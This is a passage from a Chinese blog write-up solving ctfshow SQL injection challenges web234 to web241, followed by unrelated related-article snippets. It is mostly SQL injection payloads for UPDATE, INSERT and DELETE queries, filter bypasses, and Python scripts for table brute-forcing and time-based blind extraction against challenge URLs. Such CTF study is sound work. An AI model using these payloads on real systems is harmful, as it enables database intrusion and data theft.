ctfshow sql注入 web234--web241
web234
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
这里'被过滤了,所以我们用\转义'使得'变为普通字符
$sql = "update ctfshow_user set pass = '\' where username = '{$username}';";
那么这里的话
pass=\' where username=所以我们就把username的第一个引号的闭合问题解决了,后面的引号用注释就行了,username又是可控的,开始
看到页面没有注入的地方我们访问api
api是一个url的接口,所以我们在这里实现注入
password=\&username=,username=(select group_concat(schema_name) from information_schema.schemata)#
传入的内容实际是,username=(select group_concat(schema_name) from information_schema.schemata)#
因为我们的\逃逸,所以我们已经是把username给干掉了,所以我们得补一个
information_schema,test,mysql,performance_schema,ctfshow_webpassword=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=0x63746673686f775f776562)#
banlist,ctfshow_user,flag23apassword=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)#
id,flagass23s3,infopassword=\&username=,username=(select group_concat(flagass23s3) from ctfshow_web.flag23a)#
web235
or过滤之后,我们还有另外两个能够使用的库
用innodb_index_stats和innodb_table_stats查找表名
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
banlist,ctfshow_user,flag23a1
但是也只能查到表名
我们还要查内容和列的话旧的使用无列名注入了
password=\&username=,username=(select b from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a)#

我觉得好深金必须要加?page=1&limit=10才对
web236
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_index_stats where database_name=database())#password=\&username=,username=(select b from (select 1,2 as b,3 union select * from flaga limit 1,2)a)#
web237
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
这里我们直接闭合username然后就行
9',(select group_concat(schema_name) from information_schema.schemata))#6',(select group_concat(table_name) from information_schema.tables where table_schema=database() ))#


7',(select group_concat(column_name) from information_schema.columns where table_name="flag"))#8',(select group_concat(flagass23s3) from ctfshow_web.flag))#
如果说为什么要在insert.php进行注入的话,我不知道你注意前面的注入没有都是在相应的php页面进行的
web238
9',(select(group_concat(schema_name))from(information_schema.schemata)))#9',(select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctfshow_web')))#9',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flagb')))#9',(select(group_concat(flag))from(ctfshow_web.flagb)))#
web239
9',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name='ctfshow_web')))#9',(select/**/b/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/flaga/**/limit/**/1,2)a))#
6',(select b from (select 1,2 as b,3 union select flagbb limit 0,1)a))#
这两个都没成功的话其他的基本也没什么可能了,只能猜flag是不是叫做flag了6',(select(group_concat(flag))from(ctfshow_web.flagbb)))#
web240
//过滤空格 or sys mysql
import requestsurl="https://3c76f100-cccb-47bd-a3fe-2cd434fe95e1.challenge.ctf.show/api/insert.php"for a1 in "ab":for a2 in "ab":for a3 in "ab":for a4 in "ab":for a5 in "ab":payload='flag'+a1+a2+a3+a4+a5data={'username':f"1',(select(flag)from({payload})))#",'password':'1'}r=requests.post(url=url,data=data)

回来刷新就有flag了,我调了一会笑死了,之前的脚本居然没起到注入的作用然后又在那里慢慢调
脚本还是比较简单的我就不解释了
web241
$sql = "delete from ctfshow_user where id = {$id}";
这次不用闭合了
那么我们试试其他办法能不能执行

找到时间盲注点
except Exception as e:
这个和except的区别就是能够更精准的只处理我们的超时异常
这个脚本我写了很久,因为我之前并没有完全理解try,except,现在懂了
import timeimport requestsurl = "https://0d7e9907-1db5-4da9-a263-79d53fa0040a.challenge.ctf.show/api/delete.php"
i = 0flag = ''while True:i += 1low = 32high = 127while low < high:mid = (low + high) // 2#payload = "select group_concat(schema_name) from information_schema.schemata"#informazion_sesema,tesz,mytql,performance_schema,ctfshow_web#payload = "select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'"#banlisz,ctfshow_user,flag#payload="select group_concat(column_name) from information_schema.columns where table_name='flag'"#id,flag,infopayload="select group_concat(flag) from ctfshow_web.flag"data = {'id': f'if((ascii(substr(({payload}),{i},1))>{mid}),sleep(0.1),0)'}try:r = requests.post(url=url, data=data, timeout=1.5)high = midexcept Exception as e:low = mid+1time.sleep(0.1) # 环境限制不能短时间访问过多次数if low != 32:flag = flag + chr(low)else:breakprint(flag)
相关文章:
ctfshow sql注入 web234--web241
web234 $sql "update ctfshow_user set pass {$password} where username {$username};";这里被过滤了,所以我们用\转义使得变为普通字符 $sql "update ctfshow_user set pass \ where username {$username};";那么这里的话 pass\ where…...
Python的招聘数据分析与可视化管理系统-计算机毕业设计源码55218
摘要 随着互联网的迅速发展,招聘数据在规模和复杂性上呈现爆炸式增长,对数据的深入分析和有效可视化成为招聘决策和招聘管理的重要手段。本论文旨在构建一个基于Python的招聘数据分析与可视化管理系统。 该平台以主流招聘平台为数据源,利用Py…...
使用ChatGPT写学术论文的技巧和最佳实践指南
大家好,感谢关注。我是七哥,一个在高校里不务正业,折腾学术科研AI实操的学术人。关于使用ChatGPT等AI学术科研的相关问题可以和作者七哥(yida985)交流,多多交流,相互成就,共同进步&a…...
多模态图像引导手术导航进展
**摘要:**对多模态图像分割建模、手术方案决策、手术空间位姿标定与跟踪、多模态图像配准、图像融合与显示等多模态图像引导手术导航的关键技术进行总结和分析,提出其进一步发展面临的挑战并展望其未来发展趋势。 **外科手术的发展历程:**从最…...
小程序 全局数据共享 getApp()
在小程序中,可以通过 getApp() 方法获取到小程序全局唯一的App实例 因此在App() 方法中添加全局共享的数据、方法,从而实现页面、组件的数据传值 在 app.js 文件中定义 App({// 全局共享的数据globalData:{token:},// 全局共享的方法setToken(token){//…...
第一次面试的经历(java开发实习生)
面试官的问题 我想问一下你这边有做过什么项目吗?你方便讲一下你做过的那些项目吗,用了什么技术栈,包括你负责开发的内容是什么?(项目经验)八大基本数据类型是什么?(基础)你说一下…...
GitHub Copilot API
1. 引言 GitHub Copilot:智能编程的革新者 在软件开发的浩瀚宇宙中,GitHub Copilot犹如一颗璀璨的新星,以其独特的魅力引领着智能编程的新纪元。作为GitHub与OpenAI合作推出的革命性工具,Copilot不仅仅是一个简单的代码补全插件…...
CobaltStrike的内网安全
1.上线机器的Beacon的常用命令 2.信息收集和网站克隆 3.钓鱼邮件 4.CS传递会话到MSF 5.MSF会话传递到CS 1上线机器的Beacon的常用命令 介绍:CobaltStrike分为服务端和客户端,一般我们将服务端放在kali,客户端可以在物理机上面࿰…...
Linux之进程控制(下)
目录 进程替换的概念 进程替换的函数 execl编辑 execlp execle execv execvp execve 上期,我们学习了进程创建,进程终止和进程等待,今天我们要学习的是进程控制中相对重要的板块------进程替换。 进程替换的概念 在进程创建时&…...
Mac搭建anaconda环境并安装深度学习库
1. 下载anaconda安装包 根据自己的操作系统不同,选择不同的安装包Anaconda3-2024.06-1-MacOSX-x86_64.pkg,我用的还是旧的intel所以下载这个,https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/,如果mac用的是M1࿰…...
Linux:文件系统与日志分析
一、block与inode 1.1、概述 文件是存储在硬盘上的,硬盘的最小存储单位叫做“扇区”(sector),每个扇区存储512字节。 一般连续八个扇区组成一个"块”(block),一个块是4K大小,是文件存取的最小单位。 文件数据包括实际数据…...
迈阿密色主题学科 HTML5静态导航源码
源码介绍 迈阿密色主题学科 HTML5静态导航源码,源码直接上传可用,有技术的可以拿去写个后端搜索调用百度接口,也可用于做引导页下面加你网址添加一个A标签就行了,很简单,需要的朋友就拿去吧 界面预览 源码下载 迈阿…...
Qt 基础组件速学 鼠标和键盘事件
学习目标: 鼠标事件和键盘事件应用 前置环境 运行环境:qt creator 4.12 学习内容和效果演示: 1.鼠标事件 根据鼠标的坐标位置,做出对应的事件。 2.键盘事件 根据键盘的输入做出对应操作 详细主要代码 1.鼠标事件 #include "main…...
【踩坑】解决undetected-chromedriver报错cannot connect to-chrome
转载请注明出处:小锋学长生活大爆炸[xfxuezhagn.cn] 如果本文帮助到了你,欢迎[点赞、收藏、关注]哦~ 更新: 发现一个非常好用的项目,直接内置uc: GitHub - seleniumbase/SeleniumBase: 📊 Pythons all-in…...
PyCharm 2024.1 版本更新亮点:智能编程,高效协作
目录 1. 前言2. 更新内容2.1 智能编码体验2.1.1 Hugging Face 文档预览2.1.2 全行代码补全 2.2 提升编辑器体验2.2.1 粘性行功能2.2.2 编辑器内代码审查 2.3 全新终端体验(测试版)2.3.1 新终端 Beta 2.4 智能助手(特定版本和专业用户…...
网络安全设备——蜜罐
网络安全设备蜜罐(Honeypot)是一种主动防御技术,它通过模拟真实网络环境中的易受攻击的目标,以吸引和监测攻击者的活动。具体来说,蜜罐是一种虚拟或实体的计算机系统,它模拟了一个真实的网络系统或应用程序…...
Java与Selenium配置及常见报错解决方法
Java与Selenium配置及常见报错解决方法 1. 简介 Java与Selenium是自动化测试中常用的工具和技术。正确配置开发环境并处理可能出现的问题,对于顺利开展测试工作至关重要。本文将为您详细介绍Java与Selenium的配置过程,并提供常见报错的解决方法。 2. …...
最新扣子(Coze)实战案例:使用图像流做超分,模糊图片秒变清晰,完全免费教程
🧙♂️ 大家好,我是斜杠君,手把手教你搭建扣子AI应用。 📜 本教程是《AI应用开发系列教程之扣子(Coze)实战教程》,完全免费学习。 👀 关注斜杠君,可获取完整版教程。👍Ἷ…...
数组相关内容
一、数组 就是一个集合,里面存放了相同类型的数据元素 特点: 1.数组中的每个数据元素都是相同的数据类型 2.数组是由连续内存位置组成的 二、一维数组 定义方式 1.数据类型 数组名[数组长度]; 2.数据类型 数组名[数组长度]{值1࿰…...
【Python机器学习】模型评估与改进——打乱划分交叉验证
打乱划分交叉验证是一种非常灵活的交叉验证策略。 在打乱划分交叉验证中,每次划分为训练集取样train_size个点,为测试集取样test_size个不相交的点。将这一划分方法重复n_iter次。 举例: import matplotlib.pyplot as plt import mglearnm…...
设计模式和设计原则回顾
设计模式和设计原则回顾 23种设计模式是设计原则的完美体现,设计原则设计原则是设计模式的理论基石, 设计模式 在经典的设计模式分类中(如《设计模式:可复用面向对象软件的基础》一书中),总共有23种设计模式,分为三大类: 一、创建型模式(5种) 1. 单例模式(Sing…...
Flask RESTful 示例
目录 1. 环境准备2. 安装依赖3. 修改main.py4. 运行应用5. API使用示例获取所有任务获取单个任务创建新任务更新任务删除任务 中文乱码问题: 下面创建一个简单的Flask RESTful API示例。首先,我们需要创建环境,安装必要的依赖,然后…...
Admin.Net中的消息通信SignalR解释
定义集线器接口 IOnlineUserHub public interface IOnlineUserHub {/// 在线用户列表Task OnlineUserList(OnlineUserList context);/// 强制下线Task ForceOffline(object context);/// 发布站内消息Task PublicNotice(SysNotice context);/// 接收消息Task ReceiveMessage(…...
linux arm系统烧录
1、打开瑞芯微程序 2、按住linux arm 的 recover按键 插入电源 3、当瑞芯微检测到有设备 4、松开recover按键 5、选择升级固件 6、点击固件选择本地刷机的linux arm 镜像 7、点击升级 (忘了有没有这步了 估计有) 刷机程序 和 镜像 就不提供了。要刷的时…...
Linux云原生安全:零信任架构与机密计算
Linux云原生安全:零信任架构与机密计算 构建坚不可摧的云原生防御体系 引言:云原生安全的范式革命 随着云原生技术的普及,安全边界正在从传统的网络边界向工作负载内部转移。Gartner预测,到2025年,零信任架构将成为超…...
LeetCode - 199. 二叉树的右视图
题目 199. 二叉树的右视图 - 力扣(LeetCode) 思路 右视图是指从树的右侧看,对于每一层,只能看到该层最右边的节点。实现思路是: 使用深度优先搜索(DFS)按照"根-右-左"的顺序遍历树记录每个节点的深度对于…...
基于Java Swing的电子通讯录设计与实现:附系统托盘功能代码详解
JAVASQL电子通讯录带系统托盘 一、系统概述 本电子通讯录系统采用Java Swing开发桌面应用,结合SQLite数据库实现联系人管理功能,并集成系统托盘功能提升用户体验。系统支持联系人的增删改查、分组管理、搜索过滤等功能,同时可以最小化到系统…...
在QWebEngineView上实现鼠标、触摸等事件捕获的解决方案
这个问题我看其他博主也写了,要么要会员、要么写的乱七八糟。这里我整理一下,把问题说清楚并且给出代码,拿去用就行,照着葫芦画瓢。 问题 在继承QWebEngineView后,重写mousePressEvent或event函数无法捕获鼠标按下事…...
C#中的CLR属性、依赖属性与附加属性
CLR属性的主要特征 封装性: 隐藏字段的实现细节 提供对字段的受控访问 访问控制: 可单独设置get/set访问器的可见性 可创建只读或只写属性 计算属性: 可以在getter中执行计算逻辑 不需要直接对应一个字段 验证逻辑: 可以…...
Go 并发编程基础:通道(Channel)的使用
在 Go 中,Channel 是 Goroutine 之间通信的核心机制。它提供了一个线程安全的通信方式,用于在多个 Goroutine 之间传递数据,从而实现高效的并发编程。 本章将介绍 Channel 的基本概念、用法、缓冲、关闭机制以及 select 的使用。 一、Channel…...
